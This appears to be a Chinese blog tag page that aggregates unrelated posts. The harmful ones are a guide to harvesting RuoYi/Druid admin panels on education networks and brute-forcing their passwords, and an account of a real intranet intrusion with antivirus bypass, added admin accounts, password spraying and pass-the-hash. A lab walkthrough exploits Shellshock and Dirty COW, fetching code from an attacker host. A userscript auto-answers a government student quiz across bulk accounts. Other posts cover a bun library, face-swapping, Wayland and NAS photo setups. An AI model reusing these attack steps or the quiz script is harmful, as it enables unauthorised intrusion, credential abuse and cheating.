包含关键字 typecho 的文章

看大家都在聊 bun 1.0 ,我也来凑个热闹
项目地址 https://github.com/codehz/bun_python
demo 代码:

import * as np from 'python:numpy';
import * as plt from 'python:matplotlib.pyplot';
const xpoints = np.array([1, 8]);
const ypoints = np.array([3, 10]);
plt.plot(xpoints, ypoints);
plt.show();

迁移自 deno_python ,主要用于测试和学习 bun 的 FFI 和 plugin 机制的使用

此外发现 bun 的 ffi 性能确实值得一提,思路和 deno ffi 一模一样,api 也大差不差,但性能却能打得过 deno ffi (当然 node napi 肯定也能秒),bun ffi 的这个思路,我在很久之前也在tjs(该项目已废弃)也尝试过,有趣的是,同样用的 zig ,同样用的 tcc 做 native bridge ,只不过我直接把 tcc 的 api 接驳到 js 里使用,而 bun 则是生成一个 c wrapper 代码来做 bridge ,用 tcc 直接 jit 出转换的代码,性能又有进一步提升,加上 JavaScriptCore 引擎自己对 ffi 的优化(特别是相比于 v8 )性能几乎提到了 luajit 的那种水平,deno 虽然 api 看着类似,但实现也完全不同,这大概是性能差距的来源
Bun_python 一个让你在 bun 中直接使用 esm 语法导入 Python 包的库
此外 bun 的 plugin 机制可以直接定义 import 导入语句的行为,由于它是直接和引擎集成,因此相比于 bundle/transpiler/preprocess 的方案,它可以支持 plugin 直接给导入的模块返回对象——而无需生成一系列 export 代码(总所周知,esm 的 named export 需要静态确定),在这个场景下,实现一句话 import * as torch from 'python:torch'; 即可使用 pytorch

某种意义上在 bun 里实现 deno 的 url import 也是可能的,就看有没有人做()

(话虽如此,我也不建议在玩具场景外使用 bun_python 这个库来加载和使用 python ,首先你丧失了最重要的进程隔离,其次我这个库实现的也比较粗糙,很多边界问题都没考虑到)

前言

若依系统存在较多魔改版本,具有前后端分离的情况,内置了druid
通过这个拿下了交大证书
交大证书

Druid弱口令上分攻略

信息收集

首先,我们要做的是收集基于若依CMS的系统

图标收集方法
最简单的就是利用图标的方法进行收集(以下只是举例)

(icon_hash="-1231872293" || icon_hash="706913071")

fofa收集信息
内容收集
另外可以收集的就是内容
SRC之若依系统恰分攻略
下面是以主体中的关键字进行匹配(大部分存在二改的情况)

SRC之若依系统恰分攻略1
标题收集
若依登录系统

收集类似的标题

收集标题

前后端分离之后端收集1
发现下述内容,是ruoyi后端,也需要进行收集
SRC之若依系统恰分攻略2
由于存在很多魔改版本,大致会修改ruoyi那一段

SRC之若依系统恰分攻略3
收集的思路大致为内容匹配(以下是思路之一)
SRC之若依系统恰分攻略4
前后端分离之后端收集2
除了存在后台欢迎的情况,也可能做了弱权限校验,会出现以下情况
弱权限校验
因此此类也需要收集

fofa收集信息2
最重要
如果是为了教育上分的话,需要加上一点小小的黑魔法
加上下面这句话就会筛选出来的内容为教育网段内容

org="China Education and Research Network Center"

fofa收集信息3

druid目录探测

默认路径探测0-未授权

如果配置不当可能不需要druid密码即可直接访问druid

/druid/index.html

默认路径探测1-druid

若依默认的druid路径是

/druid/login.html

收集的网址直接拼接,如果成功,就说明存在druid后台
druid后台

默认路径探测2-默认api

若依存在默认的api,druid的路径可能在api下

/prod-api/druid/login.html
/dev-api/druid/login.html

收集的网址直接拼接,如果成功,就说明存在druid后台
druid后台

默认路径探测3-开发自定义

在这个情况下,直接扫描是没有任何用处的,通常的思路是首先浅浅登录错误一次,查看数据包的目录

示例如下
发现存在一个地址
SRC之若依系统恰分攻略5
抓包查看地址后发现如下目录

SRC之若依系统恰分攻略6
那么拼接地址为

/{发现的api}/druid/login.html

SRC之若依系统恰分攻略7

默认路径探测总结

常见路径地址如下

/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

甚于内容请在实战中进行尝试

druid弱口令爆破

通常druid不需要验证码就可以进行爆破(请自行收集字典)

常见用户名

admin
druid
ruoyi
...

常见密码

123456
admin
druid
...

总结

相对来说爆破还是需要一本好的字典的,重点在于收集面

以下是在edu-src中使用druid弱口令上分的部分
SRC之若依系统恰分攻略8

新一代开AI换脸神器,生成速度更快,效果更惊艳!

自从上次分享的那个换脸的工具后,发现很多人都很喜欢这个工具,刚好在网上闲逛的时候又发现一款换脸的神器,又经热心网友制作成一键离线包,解压后即可使用。

先看演示吧,为了不侵犯他人的肖像之类的东西,只放了换脸后的视频,各位参考参考吧,下图是AI生成的小姐姐,用来替换视频里面人物的脸。
AI换脸神器
↓下面2位小姐姐的脸,基本都是不动的,或者说头部动作幅度不是很大。
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/3534649523.mp4" image="视频封面图地址"]
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/3290191406.mp4" image="视频封面图地址"]

↓下面2位小姐姐身体还有头部动作幅度会大一些,先看看视频效果演示。
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/2591676258.mp4" image="视频封面图地址"]

[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/1027360922.mp4" image="视频封面图地址"]

下面来讲下详细操作点击启动后就是这么一个黑洞洞的窗口。
新一代开AI换脸神器,生成速度更快,效果更惊艳!
然后打开一个链接:http://127.0.0.1:7860 这个链接在黑窗口那里复制即可;

需要手动复制在浏览器里面打开,然后出来这样的一个界面:
新一代开AI换脸神器,生成速度更快,效果更惊艳!1
如果觉得英文看的不顺眼可以翻译下;
新一代开AI换脸神器,生成速度更快,效果更惊艳2!
下面已经就是正经开始操作;
新一代开AI换脸神器,生成速度更快,效果更惊艳!3

点这里选择你要换的脸;
新一代开AI换脸神器,生成速度更快,效果更惊艳!4
这里选择你要换的视频,然后输出质量选100;
新一代开AI换脸神器,生成速度更快,效果更惊艳!5
比如我换的这个小姐姐的视频,其他都不要动,点最下面的开始。
新一代开AI换脸神器,生成速度更快,效果更惊艳!6
新一代开AI换脸神器,生成速度更快,效果更惊艳!7

看到开始读秒就说明开始了,在黑洞洞那个窗口也会有各种文字滚动。
新一代开AI换脸神器,生成速度更快,效果更惊艳!8
等完成以后,会有提示Processing to video succeed。

点击如图所示的地方,把视频保存到你要保存的地方。

下载AI换脸视频

操作就是这么简单,其他参数都默认即可,千万别乱动,第一次运行会慢一些,因为会自动下载一些对应的模型,请耐心等待,下载好后以后再运行就速度很快了。

下面是我使用了这个工具几天的一点心得。

首先,换脸的文件 不要有中文名字和中文路径,否则很容易报错。

其次,电脑的用户名 一定要是英文,否则也会报错。

再次,换脸的图片 必须是正面 而且要高清一点点,如我上面的小姐姐所示,可以参考下。

否则就会提示这个错误:
新一代开AI换脸神器,生成速度更快,效果更惊艳!9
目前这个工具只是用cpu在跑,速度还可以,我感觉比我之前分享的那个工具 速度快那么一点点,效果也是更惊艳一点,之前那个如果人物头部幅度稍微大点就会出错,或者效果很不好,现在的这个工具效果要好很多了。

请勿滥用该技术,并遵守法律法规!

需要注意的是,Face Swap软件也存在一些潜在的问题和挑战。例如,由于该技术需要处理大量的图像和视频数据,需要消耗大量的计算资源;同时存在隐私和安全问题。

此外,在使用时也存在一些伦理和道德问题,例如可能会被用于进行欺骗或诈骗活动,或者侵犯他人的隐私和肖像权等。因此,在使用该软件时需要谨慎,切忌用它来干坏事。

前言:

一切以学习为主,记录一次小小的攻击过程

本次是通过外网漏洞撕开的口子,主要通过一下方式

拿到了目标资产

  • nday扫一扫
  • 弱口令爆一爆
  • 上传接口找一找
  • 后台上传找一找
  • 数据库弱口令
  • 关注新day,有了立马在资产里面跑一下
  • 逻辑漏洞什么的就不要了,只要能getshell

进内网

拿到了几个shell,先命令查看一下 进了360窝了
shell进内网

基本上都有360,只能掏出我临时免杀马了,不稳,只能绕一下了

这里有个静态免杀马如何上线小技巧:

1、静态免杀马只有在执行敏感命令时才会被检测杀死(静态免杀马比较简单,临时使用)

2、绕过360添加用户,并添加到administrators组(github上有工具)

3、有些服务器不允许外部远程,内网可远程

4、cs可以开socks4,这不是敏感操作

5、挂cs的代理,通过服务器内网ip就可以控制桌面

6、远程控制上去之后,运行杀软360或者火绒等,他会提示在别的用户运行了是否转移到当前用户,选择是,然后关了它,接下来就可以为所欲为了

7、上面的步骤不一定适用于每个环境,总要根据环境改变策略的不是。

密码喷洒

内网主打的一个信息关联

抓取到本地密码后,使用fscan就可以碰撞 或者使用 crackmapexec 去碰就可以

fscan -h 192.168.x.x/24 -m smb -user 用户 -pwd 密码
crackmapexec smb 192.168.x.x -u 用户 -p '密码'

如果抓不到密码,用hash去PTH票据传递

crackmapexec smb 192.168.x.x -u 用户 -H 'NTLM'

收获同段192.168.x.x三台
记录一次内网渗透过程
使用wmiexec.py 验证一下
记录一次内网渗透过程1

探测网段可达

工具netspy,得到众多可达网段
探测网段可达

找域

使用nbtscan批量跑NetBIOS协议,就工作组没域啊
记录一次内网渗透过程2

意外的60台设备

既然是同一个工作组那肯定是有相同之处,而且他们的计算机名好像,不对劲。。绝对不对劲。。。

找其中一个扫一下端口看看一下,有个8xxx的端口是个机顶盒后台
记录一次内网渗透过程3
弱口令随手试一下就进去了admin,60台 拿下拿下
记录一次内网渗透过程3

回首掏

再回到初始服务器,抓取本地所有密码,浏览器记录等信息

通过浏览记录和密码抓取,拿下用友后台存在大量数据,websphere集成存在7台终端

记录一次内网渗透过程4
记录一次内网渗透过程5

qax云安全管理平台

看了一下ip的web扫描结果,内网中存在三台qax的云安全管理平台

本来想着游戏结束,谁知道一台管理机器也没有o(╥﹏╥)o

qax云安全管理平台

战后总结

1、现在的内网渗透总要面对杀软,时时刻刻都要有自己一套绕过杀软或免杀的能力,过不去杀软都是浮云

2、内网主要就是信息收集,需要收集好本地密码、浏览器记录、数据库密码、可达网段、多网卡机器、重点目标、是否有域等等

3、横向移动,本次主要用了密码喷洒,信息收集后发现内网机器并不多,就没再继续横向

4、重点资产要特别关注,像一下堡垒机、天擎、这样的终端控制服务,拿下后直接游戏结束

5、本次测试主要目的在于学习,内网中各种协议应该灵活使用,ICMP探测不到的不一定不存在,换成Netbios协议去探测却能够探测出来,还有一些机器禁ping,都要学会去绕过。

6、自动化进行扫描的话动静还是太大,需要更精简化测试过程,瞄的准打的狠,直线攻击直接拿下内网

首先是 Chrome ,默认不支持 Wayland, 强制使用后发现输入法不能用,搜索后得知需要使用 gtk4

--enable-features=UseOzonePlatform
--ozone-platform=wayland
--gtk-version=3

这样 fcitx5 能用了,不过候选词的那个框框位置不对,并且浏览器多了些毛病,不能右键下载图片,上传图片报错等等。Firefox 表现完美,可我的主力是 Chrome 。

Flutter 完美支持是意外之喜,除了 AndroidStuido 需要跑在 Xwaylany 上。
折腾好久尝鲜了 Hyprland,小问题一堆,但基本上属于能用了,遇到的一些问题供参考
vscode 和 Chrome 一样的毛病,使用相同的配置之后在我的机器上打开就 crash , 暂时没找到解决方法。只能按照官方的建议跑在 Xwayland 上然后强制放大 UI,放大倍率只能是整数,在我这个分辨率上就很尴尬——原始的太小,2 倍又太大,显示不了多少东西。
折腾好久尝鲜了 Hyprland,小问题一堆,但基本上属于能用了,遇到的一些问题供参考1
一些软件多少有适配问题,有些可能永远都不会支持了,比如说 w3m 用不了,ranger 看不了图片。 我还发现 GLFW 有奇怪的问题,Wayland 上拿不到正确的 FrameBuffer 大小,官方的 issues 也没有明确的修复计划,导致 viewport 总是只有窗口的 1/4 。

折腾好久尝鲜了 Hyprland,小问题一堆,但基本上属于能用了,遇到的一些问题供参考2

全国青少年普法网,每年都有,提供给有需要的人。
全国学生“学宪法 讲宪法”活动自动答题脚本
首先装好油猴,然后将你的账号信息设置如下格式保存:
全国青少年普法网自动答题、自动考试、批量导入账号脚本
这个插件相对于其他的插件来说,多了一个批量导入账号的功能。
可以按照插件页面的图片指示来操作
然后安装这个脚本:
地址:https://greasyfork.org/

代码:

// ==UserScript==
// @name         普法网(宪法小卫士)批量导入、课后练习、考试自动答题
// @namespace    Ne-7
// @version      1.0.0
// @description  全国学生“学宪法 讲宪法”活动自动答题脚本
// @author       guan
// @match        *://static.qspfw.moe.gov.cn/*
// @run-at       document-end
// @grant        unsafeWindow
// @license      MIT
// @require      https://cdn.staticfile.org/jquery/3.6.0/jquery.min.js
// @require      https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.17.0/xlsx.full.min.js
// ==/UserScript==

var _self = unsafeWindow,
    $ = _self.jQuery || top.jQuery,
    Swal = Swal || window.Swal,
    columnId = getQueryVariable("columnId"),
    answer_list = [],
    exam_list = [],
    time = 5e3, // 答题间隔时间,最好为5秒
    num = {"A": 1,"B": 2, "C": 3, "D": 4};

(function() {
    if (window.location.pathname.indexOf('learn_exam.html') != -1) {
        getExam();
        let t = setInterval( function() {
            doExam(t)
        },time / 2);
    } else if (window.location.pathname.indexOf('learn-practice.html') != -1) {
        setTimeout(function function_name(argument) {
            if ($(".inside-pages-title:contains('课后练习')") != null) {
                getAnswer(columnId);
                let t = setInterval( function() {
                    doQuestion(t)
                },time / 2);
            }
        }, time / 2);
    } else if (window.location.pathname.indexOf('learn_practice_list.html') != -1) {
        setTimeout( function() {$(".red").click();},time / 2);
    } else if (window.location.pathname.indexOf('/user/') != -1) {
        setTimeout(function() {
            setInterval(function() {
                var stu = $("button:contains('开始学习')");
                if (stu != null) {
                    $("button:contains('开始学习')").click();
                }
            }, time / 2)
            createFileInput();
            readFile();
            readAndWriteStudentInfo();
        }, time / 2);

    } else if (window.location.pathname.indexOf('learning-page.html') != -1) {
        setTimeout(function function_name(argument) {
            if ($(".inside-pages-title:contains('课程学习')") != null) {
                $("#afterClassPractice").click();
            }
        }, time / 2);
    } else if (window.location.pathname.indexOf('evaluation.html') != -1) {
        window.location.href="https://static.qspfw.moe.gov.cn/user/#/user/login?redirect=%2Factivity";
    }
})();

function createFileInput() {
    var courseGradeDetail = document.querySelector(".main");
    var fileInputHTML = '<div><input type="file" id="file-input" accept=".xls,.xlsx"></div>';
    courseGradeDetail.insertAdjacentHTML("afterbegin", fileInputHTML);
    var clearButton = document.createElement("button");
    clearButton.textContent = "清除缓存";
    clearButton.addEventListener("click", function() {
      localStorage.removeItem("students");
    });
    var file = document.querySelector("#file-input");
    file.parentNode.appendChild(clearButton);
}

function readFile() {
  var fileInput = document.getElementById("file-input");
  fileInput.addEventListener("change", function() {
    var file = fileInput.files[0];
    var reader = new FileReader();
    reader.onload = function(e) {
      var data = e.target.result;
      parseExcelData(data);
    };
    reader.readAsBinaryString(file);
  });
}

function parseExcelData(data) {
  var workbook = XLSX.read(data, {type: "binary"});
  var sheetName = workbook.SheetNames[0];
  var sheet = workbook.Sheets[sheetName];
  var json = XLSX.utils.sheet_to_json(sheet, {header: 1});
  var students = {};
  for (var i = 1; i < json.length; i++) {
    var row = json[i];
    var id = row[0];
    var name = row[1];
    var password = row[2];
    if (students[id]) {
      continue;
    }
    students[id] = {name: name, password: password};
  }
  var studentsString = JSON.stringify(students);
  localStorage.setItem("students", studentsString);
}

function readAndWriteStudentInfo() {
  var students = JSON.parse(localStorage.getItem("students") || "{}");
  var keys = Object.keys(students || []);
  if (keys.length == 0) {
    return;
  }
  var id = keys[0];
  var name = students[id].name;
  var paw = students[id].password;
  copy_text = id;
  var loginInfo = document.getElementById("formLogin_loginInfo");
  var userName = document.getElementById("formLogin_userName");
  var password = document.getElementById("formLogin_password");
  var captcha = document.getElementById("formLogin_captcha");
  $(".ant-radio-input").click();
  loginInfo.onfocus = async function() {
    await navigator.clipboard.writeText(id);
  };
  userName.onfocus = async function() {
    await navigator.clipboard.writeText(name);
  };
  password.onfocus = async function() {
    await navigator.clipboard.writeText(paw);
  };
  delete students[id];
  localStorage.setItem("students", JSON.stringify(students));
}

function getQueryVariable(variable) {
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
};

function getAnswer(columnId) {
    $.ajax({
        url: _self.config.practice.host + _self.config.practice.practice + "?columnId="+ columnId + "&taskId=" + _self.config.taskId,
        headers: _self.config.apiConfig.header,
        async: false,
        success: function (res) {
            const { data, status } = res;
            if (status === "0") {
                var question_data = res.data
                var questionBankList = data.questionBankList
                answer_list = questionBankList;
                // 从localStorage中获取已经缓存的答案数组,如果没有则使用一个空数组
                var cached_answers = JSON.parse(localStorage.getItem("answers")) || [];
                // 遍历每个答案,检查是否已经存在相同id属性的答案
                for (var i = 0; i < answer_list.length; i++) {
                    var answer = answer_list[i];
                    // 使用find方法或some方法来检查缓存数组中是否已经存在相同id属性的答案
                    var found_answer = cached_answers.some(function(cached_answer) {
                        return cached_answer.id == answer.id;
                    });
                    // 如果不存在相同id属性的答案,将它追加到缓存数组中
                    if (!found_answer) {
                        cached_answers.push(answer);
                    }
                }
                // 将更新后的缓存数组重新保存到localStorage中
                localStorage.setItem("answers", JSON.stringify(cached_answers));
            } else if (status === "1") {
                alert("请先学习当前模块");
                window.history.go(-1);
            } else if (status === "-2") {
                alert("请重新登陆");
            } else {

            }
        },
        error: function (err) {
        }
    });
}

// 答题操作
function doQuestion(t) {
    var cur_topic = $('#currentTopic').text(),
        tol_topic = $('#totalTopic').text(),
        answer = answer_list[cur_topic - 1].answer;
    $('#exam_answer > div:nth-child(' + num[answer] + ')').click();
    if (cur_topic == tol_topic) {
        // 清除Interval的定时器
        clearInterval(t);
        //setTimeout(function(){Swal.fire('宪法小助手提示','答题完成','info')},time / 2);
        if ($("#next_exam").css("display")  != 'none') {
            nextExam();
        } else {
            toEvaluation();
        }

    } else{
        setTimeout(function(){$('#next_question').click()},time / 5);
    };
}

// 获取考试题目
function getExam(){
    $.ajax({
        url: _self.config.wexam.host + _self.config.wexam.getPaper + "?taskId=" + _self.config.taskId,
        headers: _self.config.apiConfig.header,
        async: false,
        success: function (res) {
            const { data, status, message } = res;
            if (status === "0") {
                var question_data = res.data;
                var paper = question_data.paper;
                var paperInfo = paper.paperInfo;
                exam_list = paperInfo;
            } else {
                alert('获取考试题目失败!')
            }
        },
        error: function (err) {
        }
    });
}

// 考试答题操作
function doExam(t){
    $('#ne21ans')[0] ? $('#ne21ans').html('<p style="color: red;">正在搜索答案~</p>') : $('#exam_question').append('<div id="ne21ans"><p style="color: red;">正在搜索答案~</p></div>')

    var cur_topic = $('#currentTopic').text(),
        tol_topic = $('#totalTopic').text(),
        questionInfo = exam_list[cur_topic - 1];

    // 从localStorage中获取已经缓存的答案数组,如果没有则使用一个空数组
    var cached_answers = JSON.parse(localStorage.getItem("answers")) || [];
    // 从缓存数组中查找与题目id相同的答案
    var cached_answer = cached_answers.find(function(answer) {
        return answer.content.replace(/\s+/g, '') == questionInfo.content.replace(/\s+/g, '');
    });
    if (cached_answer) {
        // 如果找到了匹配的答案,直接显示并选择
        $('#ne21ans').html('<p style="color: red;">参考答案:'+ cached_answer.answer + '</p>')
        $('#exam_answer > div:nth-child(' + num[cached_answer.answer] + ')').click();
    } else {
        // 如果没有找到匹配的答案,提示用户自己作答或者使用其他方法获取答案
        $('#ne21ans').html('<p style="color: red;">没有找到该题目的答案,请自己作答或者尝试刷新页面</p>')
    }

    if (cur_topic == tol_topic) {
         // 清除Interval的定时器
         clearInterval(t);
         saveResult();
         setTimeout(function(){$("button:contains('返回综合评价')").click();},time / 2);
    } else{
         setTimeout(function(){$('#next_question').click()},time / 5);
    };

}

总结

getwebshell : nikto扫描 → 发现shellshock漏洞 → 漏洞利用 → getwebshell

提 权 思 路 : 内网信息收集 → 内核版本较老 →脏牛提权

准备工作

启动VPN
获取攻击机IP → 192.168.45.194
获取攻击机IP
启动靶机
获取目标机器IP → 192.168.190.87
获取目标机器IP

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.190.87
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

端口扫描
开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.87
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

目标端口对应服务探测

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用
通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 5.9p1 Debian 较老

# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1

发现搜索到可利用的和用户枚举有关(待定)
MSF利用
22-SSH协议支持的登录方式
通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root@192.168.190.87 -v
显示publickey、password就是支持密钥以及密码登录

显示publickey、password就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root@192.168.190.87 -p 22
# 密码尝试
password > root

弱密码尝试失败
弱密码尝试失败

22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集
爆破
80-HTTP端口的信息收集
访问 http://192.168.190.87:80 不是CMS我们直接从HTML隐藏信息收集开始
提示是存在启动的应用,但是没显示
存在应用启动

**信息收集-HTML隐藏信息查看
**

# 包括文章中是否写明一些敏感信息
curl http://192.168.190.87:80


无

信息收集-目录扫描

信息收集-目录扫描初步

# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80

没有扫出目录,准备大字典
目录扫描
信息收集-目录扫描(深度/大字典)

gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000

目录扫描1
在进行大字典的时候,发现无事可干,尝试利用其他工具探测一下web
目录探测
探测完毕,毫无头绪

漏洞探测-nikto扫描

nikto -h http://192.168.190.87:80

nikto扫描
探测之后提示似乎容易受到shellshock漏洞攻击CVE-2014-6278
似乎与首页的提示存在启动的应用有关

漏洞利用-getwebshell

Shellshock漏洞于2014年9月公开,并且对网络安全造成了相当大的影响。这个漏洞的本质是Bash解释器在处理环境变量时存在一种缺陷,允许远程攻击者通过精心构造的恶意环境变量注入任意的Shell命令,从而实现执行恶意代码的能力。

Shellshock攻击

使用msfconsole,搜索攻击方式

msfconsole
search CVE-2014-6271

搜索攻击方式

在这里选择了1因为探测出来是apache的站点,1比2更靠谱
使用msf漏洞利用模块:exploit(multi/http/apache_mod_cgi_bash_env_exec)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run

成功getwebshell
getshell

内网遨游-getshell

交互shell

交互shell-python

由于获取的shell交互不友好,利用python获得新的交互shell

# 如果是msf的要先shell
shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

利用python获得新的交互shell

FLAG1获取

www-data@ubuntu:/usr/lib/cgi-bin$ find / -name local.txt 2>/dev/null
/usr/lib/cgi-bin/local.txt
www-data@ubuntu:/usr/lib/cgi-bin$ cat /usr/lib/cgi-bin/local.txt
6b8bdd93e00d8ea52fcc7f201eba9f56

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本
较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data@ubuntu:/usr/lib/cgi-bin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04 LTS
Release:        12.04
Codename:       precise

发行版本为Ubuntu 12.04,有点能overlayfs提权

检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛提权

www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

内核版本为3.2.0
查看内核版本

权限提升

overlayfs提权(无)

若存在以下情况进行overlayfsLinux Kernel Version提权

:-: |:-:
系统|版本
Linux Kernel Version |大于3.13.0小于3.19
Ubuntu|Linux 15.04
Ubuntu|Linux 14.10
Ubuntu| Linux 14.10
Ubuntu| Linux 12.04

msfcontrol

msf > searchsploit overlayfs

发现内核版本不太符合
内核版本不符

脏牛提权尝试1(失败)

若存在以下情况进行脏牛提权

:-: |:-:
系统|版本
Centos7/RHEL7| 3.10 .0-327.36.3.e17
Cetnos6/RHEL6 |4.4.0-45.66
Ubuntu 16.10 |2.6.32-642 .6.2.e16
Ubuntu 16.04 |4.8.0-26.28
Ubuntu 14.04 |3.13.0-100.147
Debian 8 |3.16.36-1+deb8u2
Debian 7 |3.2.82-1

msf6 > searchsploit dirty

# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
# 确认编译语句
cat 40847.cpp

得到编译以及执行的语句
得到编译以及执行的语句

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

python3开启http服务

# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40847.cpp
# 给权限
chmod +x 40847.cpp
# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
# 运行
./dcow -s

发现不能用g++`
g++

脏牛提权尝试2

尝试换一个

# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
# 确认编译语句
cat linux/local/40839.c

gcc -pthread dirty.c -o dirty -lcrypt
创建firefart用户,密码自输

python3开启http服务

# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40839.c
# 给权限
chmod +x 40839.c
# 编译
gcc -pthread 40839.c -o dirty -lcrypt
# 运行
./dirty

# 重新登录su firefart用户密码123456
www-data@ubuntu:/usr/lib/cgi-bin$ su firefart
Password: 123456
firefart@ubuntu:/usr/lib/cgi-bin# id
uid=0(firefart) gid=0(root) groups=0(root)

提权成功
提权成功

FLAG2获取

firefart@ubuntu:/tmp# cat /root/proof.txt

22f3656d21fb5ef444ea898e69073476

总结

从发现ssh版本开始就感觉有点偏老,应该多尝试老漏洞

有时候nikto工具也可以适当用一下,指不定有其他收获

为什么要存到 NAS

一直不愿意用一些云相册或者网盘之类的服务来备份和保存自己的照片,主要是两个原因:

  1. 不想自己的隐私被这些服务方一直视奸,你传上去的照片视频肯定会被这些服务方扫描一遍的,就算没有私密的照片,我也接受不了隐私被这样侵犯
  2. 不想自己的数据被绑架,毕竟数据是别人手上,哪天别人要跑路或者涨价,你也没有任何办法

尝试的方案

群晖 moments
最开始 NAS 装了群晖,于是就用了群晖自带的 moments 来同步照片.用了一段时间后出现了一些问题:

  1. moments app 几乎不再更新,体验不算差,但绝对不好,老婆总是抱怨 ios 上这不好用那不好用
  2. 与群晖绑定,因为必须搭配 moments 服务端一起使用,所以你没有任何别的选择,这让我感觉很被动
    现在似乎群晖已经淘汰 moments 了,出了新的群晖 photos,这个我没有试用过,因为群晖硬件还是太贵了,现在已经改用 Unraid 了

PhotoPrism - 超好用
不得不说 PhotoPrism 确实太好用了,我最喜欢它的一点是他的兼容性很强,你只要丢给它一个目录,他就能处理里面的所有照片,并且可以在各个维度进行检索,对于超大量的照片来说真的很好用.

但问题就在于 PhotoPrism 只有服务端,把照片同步到 NAS 这个动作还要我自己想办法来完成

PhotoSync - 不值得这个价格
这个 app 的功能还是可以的,但是它的 UI 和交互是在是有点古老,我还需要专门用一个 app 来进行同步这个事情,最重要的是要付费才能用,我觉得不太值得,放弃.

Nextcloud - 移动端 app 太差
Nextcloud 作为网盘来说挺好用的,我尝试使用 Nextcloud 的移动端来同步相册照片.但我真的安装了安卓端 app 后,连接了我 https 反代后的 URL 居然直接崩溃了,完全没法用,放弃.

Alist + Pho + Rclone + PhotoPrism - 终极方案

这个方案最让我喜欢的一点是各个环节都不是耦合的,去掉其中任何一个环节都不会影响到其他环节,每个人完全可以根据自己的喜好来替换其中的某个部分.

Alist
官网: https://alist.nn.ci/zh/
负责把各种可用的储存映射成webdav,支持各种云盘网盘以及本地储存
Alist

Pho
官网: https://pho.tools/
负责通过webdav上传照片到Alist映射的储存 它很好的一点是支持加密后上传,这样就可以在网盘上做二次备份,在能避免隐私泄露的前提下多一层数据保险
而且我可以在手机上直接用这个 app 来浏览我本地和已经上传的照片,这个 app 的 UI 和交互都很好,可以直接用它来代替系统自带的相册
Pho

Rclone
官网: https://rclone.org/
负责把Alist的webdav映射到 NAS 的文件系统内,来把照片喂给 PhotoPrism

PhotoPrism
官网: https://www.photoprism.app/
最终的"集大成者",全家所有设备备份的照片最终全部喂到这里,即使是海量照片也能根据它快速索引到自己想找的照片

PhotoPrism

最终效果

平时手机上浏览和上传
使用Pho浏览本地和最近上传的照片

查找和浏览过去某个时候的照片
根据信息用PhotoPrism检索即可

背景

众所周知,目前国内想要看日漫的话,除了B站引进的动漫之外。其他的都是得自己去找途径。而在B站看番还得等过审。相对来说又是一个不足。所以很多人转向了其他网站或者通过磁力链接之类的。而这些没有国内资质的网站很容易倒闭,而且很多时候为了成本考虑他们会尽可能的压缩视频的画质,导致观看体验较差。而BT下载相对来说资源不用愁,但是得自己去下载。对于手机用户或者对BT不熟悉的人可能会有一定的门槛。

目前有一个开源追番系统——AutoBangumi

